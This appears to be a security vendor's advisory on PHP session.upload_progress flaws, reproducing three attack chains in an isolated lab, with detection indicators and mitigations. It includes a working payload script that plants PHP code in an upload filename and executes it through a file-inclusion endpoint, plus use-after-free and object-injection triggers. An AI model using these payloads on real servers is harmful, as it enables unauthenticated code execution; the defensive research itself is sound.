PHP2Shell (CVE-2026-109618 / CVE-2026-109619): three attack chains in session.upload_progress

Disclaimer

PRIDE Security makes no warranty regarding the information contained in this document and assumes no responsibility for any errors that may be present. In no event shall PRIDE Security or any of its partners be liable for damages arising from the use of the information described herein. PRIDE Security reserves the right to change or update this content without prior notice at any time.

Summary

On October 21, 2026, the PHP project released emergency updates (8.2.35, 8.3.36, 8.4.27, and 8.5.12) to fix two critical unauthenticated remote code execution (RCE) vulnerabilities: CVE-2026-109618 and CVE-2026-109619, both scoring 9.2 on CVSS v4.0. Collectively known as PHP2Shell, the flaws were the subject of a coordinated disclosure involving Calif.io, Wiz, OpenAI, and Quarkslab.

Although both involve memory-management issues, their root causes differ:

  • CVE-2026-109618 β€” RCE via OOM corruption: a flaw in out-of-memory (OOM) handling that can corrupt internal structures during request shutdown.
  • CVE-2026-109619 β€” RCE via stale global state: references to already-freed memory regions can persist in a worker's global state and be reused by later requests, resulting in a use-after-free.

Exploitation conditions vary by SAPI. For CVE-2026-109618, RCE was demonstrated on mod_php, while on PHP-FPM no complete exploitation chain has yet been presented. CVE-2026-109619 has chains validated on both interfaces, but on FPM it depends on application-specific conditions. Versions 8.1 and earlier (EOL) receive no new official releases, although source backports exist for 7.4, 8.0, and 8.1.

In this article, we analyze the vulnerabilities and reproduce, in a controlled lab with PHP 8.2.34, three techniques documented by Qi Deng (@ikow): Session File Injection + LFI, with remote code execution; Use-After-Free in var_destroy, confirmed by AddressSanitizer; and Handler Mismatch, with execution of the __destruct method of an injected object.

These three techniques do not directly reproduce the official CVEs, but they demonstrate other risks associated with session management and deserialization in PHP. The article presents the test evidence, detection indicators, and mitigation recommendations, prioritizing the update of affected installations.

Item Detail
Vulnerabilities CVE-2026-109618 and CVE-2026-109619
Severity CVSS v4.0 9.2
Fixed versions PHP 8.2.35, 8.3.36, 8.4.27, and 8.5.12
Surface PHP installations serving web requests
Feature analyzed session.upload_progress
Priority action Apply the patch across the entire fleet

This article does not reproduce the official CVE flaws. It reproduces, step by step and in a controlled environment, the three attack chains published by researcher Qi Deng (@ikow) β€” two tied to sessions (session.upload_progress and the serialization handler) and one in unserialize() β€”, a surface complementary to the CVEs, part of it known for years.

Chain Class Preconditions Reproduced result
Session File Injection + LFI Logic bug upload_progress=On (default) + cleanup=Off (or race) + LFI in the app RCE
var_destroy UAF Memory corruption unserialize() over controlled input heap-use-after-free confirmed via AddressSanitizer
Handler Mismatch β†’ __destruct Deserialization Divergent handlers + POP gadget loaded during in-script decode Handler mismatch + __destruct of the injected class executed

The key takeaway for defense teams has two layers:

  • The official CVEs affect installations in default configuration. Every PHP installation serving web is in scope for the patch; risk is highest on mod_php (pre-auth exploitation demonstrated before application code) and conditional on PHP-FPM. Either way, you cannot deprioritize "because we have no LFI": the patch applies to the entire fleet.
  • The chains below depend on a second condition in the application β€” an LFI (Chain 1) or a deserialization gadget (Chain 3) β€” and in part exploit documented PHP behaviors (Chain 1 is a technique known for years). Their behavior on the fixed versions has not yet been verified (we did not re-run them on 8.2.35 or later). They call for code fixes and configuration hardening, as detailed at the end.
Terminal recording showing the three PHP2Shell chains run in the isolated lab
Demonstration of the three chains in an isolated lab.

Technical background

PHP's session.upload_progress feature reports the progress of large uploads. When enabled, during the parsing of a multipart/form-data POST that contains a field with the name defined in session.upload_progress.name (default PHP_SESSION_UPLOAD_PROGRESS), PHP creates/updates a session variable with upload metadata β€” before the application script even runs.

Behaviors analyzed

The independent research chains four PHP behaviors β€” session and deserialization β€” that enable the chains below (none of them is, on its own, the root cause of the CVEs):

  1. Session fixation (claimed by the research) β€” according to @ikow, the PHPSESSID sent in the POST body would be accepted even with session.use_only_cookies, per the still-open and unmerged PR php-src#22113. The PoCs in this text do not demonstrate this bypass: they fix the PHPSESSID via the Cookie header, only to make the session file path predictable.
  2. filename stored without validation β€” the uploaded file's name is written raw into the session file.
  3. var_destroy triggers __destruct on reentry β€” without BG(serialize_lock), causing use-after-free.
  4. __destruct runs even when the session decode FAILS β€” allowing object injection via handler divergence.
Important distinction: the behaviors above are findings from the independent research around session.upload_progress β€” they are not the root-cause mechanisms of the CVEs. Per the official advisories, CVE-2026-109618 is state corruption in OOM handling and CVE-2026-109619 is use of stale global state (use-after-free) between requests on the same worker, for which session.upload_progress is only one of the consumers. Links are in the References section.

Test environment

Why isolate strictly: we are reproducing a chain that ends in code execution. The PHP container (the target) runs on a Docker --internal network, with no route out; Nginx sits on a frontend network (p2s-front, which is not internal) solely to publish the HTTP service on loopback only (127.0.0.1:18080). The two controls confirmed below are: (i) the target container cannot reach the internet and (ii) the service only answers on loopback β€” so there is no claim that the entire composition is without external networking.

Image and version

The image used is the official php:8.2.34-fpm β€” the last vulnerable version before the patch (8.2.35):

docker pull php:8.2.34-fpm # arm64 in this case (Apple Silicon)

Permissive configuration

Lab php.ini. Note: this configuration is not the PHP default. Two directives were deliberately loosened to make the chains deterministic:

Directive PHP default Lab Effect
session.upload_progress.cleanup On Off With On, progress data is cleared at the end of the upload and Chain 1 then requires a race condition
session.use_only_cookies 1 0 Would accept the session ID outside the cookie. Not required for the PoCs in this text (which send the PHPSESSID via the Cookie header); it would only matter in the β€” undemonstrated β€” variant of sending the SID in the multipart body
session.use_strict_mode 0 (default up to PHP 8.5; changes in 8.6) 0 (unchanged) Accepts session IDs not initialized by the server, enabling fixation

[Session]
session.save_handler = files
session.save_path = /tmp/sessions
session.use_strict_mode = 0
session.use_cookies = 1
session.use_only_cookies = 0
session.upload_progress.enabled = On
session.upload_progress.cleanup = Off
session.upload_progress.prefix = upload_progress_
session.upload_progress.name = PHP_SESSION_UPLOAD_PROGRESS

[PHP]

display_errors = On

file_uploads = On

post_max_size = 128M

upload_max_filesize = 128M


Test application

The main webroot files:

// index.php β€” starts the session
<?php session_start(); echo "PHP " . PHP_VERSION . "\n"; echo "SAPI " . PHP_SAPI . "\n";
echo "upload_progress " . ini_get('session.upload_progress.enabled') . "\n"; echo "OK\n";

// vuln.php β€” classic Local File Inclusion (the "second ingredient" of Chain 1)

<?php

$page = $_GET['page'] ?? 'home';

include($page);


For Chain 3, two directories with divergent .user.ini and their endpoints. The full webroot tree used in this PoC:

webroot/
β”œβ”€β”€ index.php # session_start() + info (Chain 1 write endpoint)
β”œβ”€β”€ vuln.php # include($_GET['page']) β€” simulated LFI (Chain 1)
β”œβ”€β”€ app/
β”‚ β”œβ”€β”€ .user.ini # session.serialize_handler = php_serialize
β”‚ └── upload.php # <?php session_start(); echo "app ok\n"; (Chain 3 write)
└── api/
β”œβ”€β”€ .user.ini # session.serialize_handler = php
β”œβ”€β”€ marker.php # Marker gadget class (see Handler Mismatch section)
└── read.php # <?php require_once __DIR__.'/marker.php'; session_start(); …

read.php loads the gadget class and then calls session_start() β€” this is what forces the in-script decode required by Chain 3. upload.php only needs to start the session so that upload_progress persists the file in the directory with the php_serialize handler.

Startup and isolation check

docker network create --internal p2s-int
docker network create p2s-front

docker run -d --name php2shell-lab --network p2s-int --network-alias php </span>

-v $PWD/webroot:/var/www/html -v $PWD/php.ini:/usr/local/etc/php/php.ini:ro </span>

--cap-drop ALL --cap-add CHOWN --cap-add SETUID --cap-add SETGID --cap-add DAC_OVERRIDE </span>

--memory 512m --pids-limit 200 </span>

php:8.2.34-fpm bash -c "mkdir -p /tmp/sessions && chmod 1777 /tmp/sessions && exec php-fpm"

docker run -d --name php2shell-nginx --network p2s-front -p 127.0.0.1:18080:80 </span>

-v $PWD/webroot:/var/www/html:ro -v $PWD/nginx.conf:/etc/nginx/conf.d/default.conf:ro </span>

--memory 128m nginx:alpine

docker network connect p2s-int php2shell-nginx


Confirmation that the target container (PHP) has no internet egress:

$ docker exec php2shell-lab bash -c 'timeout 4 bash -c "</dev/tcp/1.1.1.1/80"'
bash: connect: Network is
unreachable

Confirmation that the service only answers on loopback (refused on LAN, tailnet, and IPv6):

$ curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:18080/index.php
# 200 -> only here
# other interfaces: connection refused

Instance sanity check:

$ curl -s http://127.0.0.1:18080/index.php
PHP 8.2.34
SAPI fpm-fcgi
upload_progress 1
OK

Technique walkthrough

Session File Injection + LFI β†’ RCE

This is the chain with the greatest practical impact and illustrates the classic PHP_SESSION_UPLOAD_PROGRESS β†’ LFI pattern β€” a technique known for years and predating the 2026 CVEs; it is not a reproduction of CVE-2026-109618. With cleanup = Off, the payload persists in the session file; with the default (On), the file must be included while the upload is still in progress, in a race condition.

The trigger: filename written raw into the session

A multipart/form-data POST is sent containing the PHP_SESSION_UPLOAD_PROGRESS field and a file whose name carries the payload. The PHPSESSID is fixed to know the session file path in advance.

import socket
SID = "pwnedchain1demo0000000000000"
fn = "<?php echo '---PWN---'; system('id; uname -a; whoami'); echo '---END---';?>"
b = "X"
body = (f'--{b}\r\nContent-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'
f'--{b}\r\nContent-Disposition: form-data; name="f"; filename="{fn}"\r\n\r\nZ\r\n--{b}--\r\n').encode()
h = (f"POST /index.php HTTP/1.1\r\nHost: x\r\n"
f"Content-Type: multipart/form-data; boundary={b}\r\n"
f"Content-Length: {len(body)}\r\nCookie: PHPSESSID={SID}\r\nConnection: close\r\n\r\n").encode()
s = socket.create_connection(("127.0.0.1", 18080), timeout=10)
s.sendall(h + body)
s.close()

Inspecting the resulting session file inside the container, the payload is written literally into the name field:

$ docker exec php2shell-lab cat /tmp/sessions/sess_pwnedchain1demo0000000000000
upload_progress_x|a:5:{...;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:1:"f";
s:4:"name";s:75:"<?php echo '---PWN---'; system('id; uname -a; whoami'); echo '---END---';?>"; ...}}}

No authentication was needed; the file was created at a predictable path (/tmp/sessions/sess_<SID>) with content controlled by the attacker.

The detonator: LFI including the session file

With an LFI in the application (vuln.php?page=), simply include the session file. PHP interprets the embedded <?php ... ?>:

$ curl -s "http://127.0.0.1:18080/vuln.php?page=/tmp/sessions/sess_pwnedchain1demo0000000000000"

Output (code executed in the FPM context):

---PWN---uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux 075180ea7906 7.1.5+kali-arm64 #1 SMP PREEMPT Kali 7.1.5-1kali1 (2026-07-29) aarch64 GNU/Linux
www-data
---END---

Chain 1 confirmed: from an unauthenticated POST to command execution as www-data, combining the upload progress mechanism with an LFI in the application β€” and also depending on the predictable SID, the files handler, the known path, and cleanup=Off (or a race condition).

Use-After-Free in var_destroy

This chain is a memory corruption and is only conclusively observable with an instrumented build. PHP 8.2.34 was compiled with AddressSanitizer in an ephemeral container.

Unlike the other two, it does not involve session.upload_progress and does not demonstrate RCE: what is proven here is a heap-use-after-free in the unserialize() path, flagged by AddressSanitizer. Turning it into code execution would require additional exploitation work not done in this text.

Instrumented build

# inside a debian:bookworm container, with --network=host (see note)
apt-get install -y git ca-certificates build-essential autoconf bison re2c \
pkg-config libxml2-dev
libsqlite3-dev
git clone --depth 1 --branch php-8.2.34 https://github.com/php/php-src.git
cd php-src && ./buildconf --force
CFLAGS="-fsanitize=address -g -O0" LDFLAGS="-fsanitize=address" \
./configure --disable-all --enable-cli --enable-session --without-pcre-jit
--disable-opcache
make -j2

Environment note: this is a build container, separate from the target, used only to compile PHP and run the PoC in CLI β€” no service is exposed on it. On Docker over Kali ARM64 (VM), it needed --network=host for apt to reach the mirrors (the default bridge did not route egress); the target remains on the --internal network. On other hosts, --network=host is not needed.

Result:

PHP 8.2.34 (cli) (built: Oct 21 2026) (NTS)
Zend Engine v4.2.34

Triggering the UAF

The PoC builds a serialized array with more than 2000 entries (to overflow VAR_ENTRIES_MAX) and a duplicate key that moves an object with __destruct into the destruction list; inside that __destruct, a back-reference R:1500; tries to read the already-freed var_hash:

USE_ZEND_ALLOC=0 ASAN_OPTIONS="detect_leaks=0:abort_on_error=0:exitcode=0" \
./sapi/cli/php
verify_uaf_asan.php

Excerpt of the AddressSanitizer report (edited for brevity):

[*] __destruct fired (serialize_lock=0, BG(unserialize).level>0)
[*] Attempting R:1500 backref into freed var_hash extension chunk...
==ERROR: AddressSanitizer: heap-use-after-free ... thread T0
READ of size 8 ...
#0 php_var_unserialize ext/standard/var_unserializer.re:856
#13 var_destroy ext/standard/var_unserializer.re:308 <- i_zval_ptr_dtor triggers __destruct
freed by thread T0 here:
#3 var_destroy ext/standard/var_unserializer.re:244 <- _efree_large frees the chunk
previously allocated by thread T0 here:
#4 var_push ext/standard/var_unserializer.re:124 <- var_hash extension chunk
SUMMARY: AddressSanitizer: heap-use-after-free ext/standard/var_unserializer.re:856 in php_var_unserialize

Reading the trace: var_destroy frees the var_hash extension chunk (line 244); then i_zval_ptr_dtor (line 308) triggers the object's __destruct without the serialize_lock; the internal unserialize('R:1500;') reuses the just-freed var_hash β†’ read of freed memory (line 856). This is the mechanism described in @ikow's research, in the unserialize() path.

Handler Mismatch β†’ __destruct

When the session is written by a directory configured with serialize_handler = php_serialize and read by another with serialize_handler = php, the | character present in the injected filename is interpreted by the php handler as a key|serialized-value separator.

The session is written via /app (php_serialize) with a | + serialized object in the filename, and then read via /api (php). The read produces the expected indicator:

Warning: PHP Request Startup: Failed to decode session object. Session has been destroyed

The warning alone shows only that the php handler interpreted the injected content and failed to decode β€” it does not prove that __destruct ran. To confirm, a harmless marker class is used:

// webroot/api/marker.php
<?php
class Marker {
public function __destruct() { file_put_contents('/tmp/marker_fired', 'MARKER __destruct @ '.date('c')."\n", FILE_APPEND); }
}

The object injected into the filename becomes O:6:"Marker":0:{}.

Where __destruct fires β€” and where it does not

This was the point that required experimental care. The session decode can happen at two distinct moments:

  • At "PHP Request Startup" (when the upload_progress handler itself reads the existing session, before the script runs). At that instant the gadget class has not yet been loaded, so PHP materializes a __PHP_Incomplete_Class and __destruct does not run. In the lab, /tmp/marker_fired was not created on this path.
  • At session_start() inside the script, with the class already defined (via require, autoload, or auto_prepend_file). Here the injected object is instantiated as a real Marker and, when the session is destroyed by the failed decode, its __destruct runs.

Forcing the second scenario β€” an endpoint that does require __DIR__.'/marker.php' and then session_start() β€” the warning now points to the script (no longer to "Request Startup") and the marker is written:

Warning: session_start(): Failed to decode session object. Session has been destroyed
in /var/www/html/api/read.php on line 1

$ docker exec php2shell-lab cat /tmp/marker_fired

MARKER __destruct @ 2026-10-21T15:53:19+00:00


Chain 3 confirmed: the __destruct of the injected object runs even with the decode failing. The practical condition for a real attack is that the POP gadget be loadable at the moment of the in-script decode β€” which can occur in applications that register autoloaders before starting the session (the autoloader alone is not enough for exploitation).

Detection

Look, in WAF/FPM/application logs, for:

  • A multipart/form-data POST containing the PHP_SESSION_UPLOAD_PROGRESS field combined with a filename containing <?php, |O:, or |a:.
  • PHP-FPM warnings: Failed to decode session object, Session object destruction failed. In particular, PHP Request Startup: Failed to decode session object signals a Chain 3 exploitation attempt (handler divergence triggered at the start of the request) even when the gadget does not execute β€” worth alerting on regardless of outcome.
  • Requests to inclusion endpoints (?page=, ?file=, etc.) whose value points to session.save_path (e.g., /tmp/sess_..., /var/lib/php/sessions/...).
  • The field name is configurable via session.upload_progress.name: the literal PHP_SESSION_UPLOAD_PROGRESS is only a reliable indicator where the default was kept.

Mitigations and recommendations

Prioritization

  • Patch first, across the entire fleet. The official CVEs affect installations in default configuration (risk highest on mod_php); do not condition prioritization on the presence of LFI or unserialize() in the application. The fixed versions (8.2.35, 8.3.36, 8.4.27, 8.5.12) are already published. On the disclosure day there were already working exploits; Cloudflare reported attack traffic against customers and payload mutation, with WAF rules deployed about 9 hours ahead of public disclosure (Cloudflare) β€” one more reason to apply the patch urgently.
  • Then, map the chains' surface. Cross-reference the PHP inventory with the application: user-controllable include/require (Chain 1), unserialize() over external data (Chain 2), and divergent session handlers with a loadable gadget (Chain 3). All call for code fixes.
  • EOL PHP (8.1 and earlier) receives no official release. Source backports exist for 7.4, 8.0, and 8.1, but the sustainable path is migration.

Immediate mitigation

None of the measures below replace the patch. Per PHP, updating is the only complete solution; each setting reduces a specific attack path. The per-CVE recommendations follow the official advisory.

CVE-2026-109619 (stale global state):

session.upload_progress.enabled = Off

  • Apply it in php.ini, the FPM pool, or server configuration β€” before request parsing. ini_set() and the FPM .user.ini run too late. Restart all workers.
  • On PHP 8.5, also set fatal_error_backtraces = 0 (removes the state producer confirmed in that version) and restart the workers.
  • Remove invalid or deprecated per-request settings that emit diagnostics before initialization, and fix attacker-reachable fatal errors and timeouts. Hiding diagnostics (error_reporting, display_errors, @) does not solve it.

CVE-2026-109618 (OOM corruption):

  • Set memory_limit = -1 in a way the application cannot override (e.g., php_admin_value in the FPM pool or Apache configuration) and confirm no pool, directory, or application restores a finite limit.
  • Lower post_max_size (8M when there are no uploads; 32M when there are), keeping upload_max_filesize below it.
  • Enforce, at the edge (web server or proxy), limits on decoded request size, field count, multipart parts, headers, and nesting β€” including for requests without a usable Content-Length.
  • Use a container/cgroup memory limit as containment. Do not use RLIMIT_AS or RLIMIT_DATA: they can trigger the vulnerable condition itself.

These measures cover only confirmed paths; other variants may remain until the patch.

Additional hardening

  • open_basedir restricting access to session.save_path.
  • session.save_path outside any directory includable by the application.
  • Code review to eliminate LFIs and unsafe uses of unserialize().

Conclusion

The three chains published by @ikow β€” two tied to sessions and one in unserialize() β€” were reproduced in an isolated lab: Chain 1 as full end-to-end RCE (in a permissive configuration), Chain 2 with heap-use-after-free confirmed by AddressSanitizer (no RCE), and Chain 3 with the __destruct of the injected class actually executed (under the condition that the gadget is loaded at the moment of the in-script decode). The takeaway for our clients is twofold: apply the already-published patch across the entire fleet, because the official CVEs affect installations in default configuration (with risk highest on mod_php), and map the applications' surface β€” LFIs and deserializations β€” that turn these PHP quirks into code execution even outside the CVEs.

Acknowledgments

Name Company
Paulo Melo PRIDE Security

Credits

References

Tags

Γ“timo! VocΓͺ se inscreveu com sucesso.
Γ“timo! Agora, complete o checkout para ter acesso completo.
Bem vindo de volta! VocΓͺ fez login com sucesso.
ParΓ‘bens! Sua conta estΓ‘ completamente ativada, agora vocΓͺ tem acesso completo ao conteΓΊdo.